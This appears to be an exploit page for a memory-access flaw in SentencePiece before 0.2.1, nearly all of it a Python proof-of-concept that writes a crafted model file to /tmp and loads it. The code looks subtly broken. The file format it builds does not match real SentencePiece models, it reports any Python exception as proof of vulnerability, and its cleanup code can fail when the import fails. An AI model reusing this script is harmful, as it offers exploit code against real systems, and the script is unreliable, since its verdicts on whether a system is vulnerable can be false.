Invalid memory access in Sentencepiece versions less than 0.2.1 when using a vulnerable model file, which is not created in the normal training procedure.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2026-1260 PoC - SentencePiece Invalid Memory Access
This PoC demonstrates the vulnerability in SentencePiece < 0.2.1
when processing malicious model files.
WARNING: For educational and security research purposes only.
"""
import struct
import os
def create_malicious_model():
"""
Create a malicious SentencePiece model file that triggers
invalid memory access in vulnerable versions.
"""
# SentencePiece model file header structure
header = b'SPM' # Magic number
version = struct.pack('<I', 1) # Version 1
# Malicious parameters that trigger memory issues
# Negative values or invalid sizes can cause out-of-bounds access
vocab_size = struct.pack('<I', 0x7FFFFFFF) # Invalid vocab size
# Create malformed model data
model_data = header + version + vocab_size
# Add malicious padding that may cause buffer issues
model_data += b'\x00' * 10000 # Large padding
model_data += b'\xFF' * 1000 # Invalid bytes
return model_data
def exploit_sentencepiece():
"""
Attempt to trigger the vulnerability by loading malicious model
"""
try:
import sentencepiece as spm
# Create temporary malicious model file
model_path = '/tmp/malicious_model.model'
with open(model_path, 'wb') as f:
f.write(create_malicious_model())
# Try to load the malicious model
sp = spm.SentencePieceProcessor()
sp.Load(model_path) # This may trigger invalid memory access
print('[+] Model loaded successfully - system patched')
return False
except Exception as e:
print(f'[-] Vulnerability triggered: {type(e).__name__}')
print(f'[-] Error: {str(e)}')
return True
finally:
if os.path.exists(model_path):
os.remove(model_path)
if __name__ == '__main__':
print('CVE-2026-1260 SentencePiece PoC')
print('=' * 50)
vulnerable = exploit_sentencepiece()
if vulnerable:
print('[!] System is VULNERABLE')
else:
print('[+] System is NOT vulnerable or patched')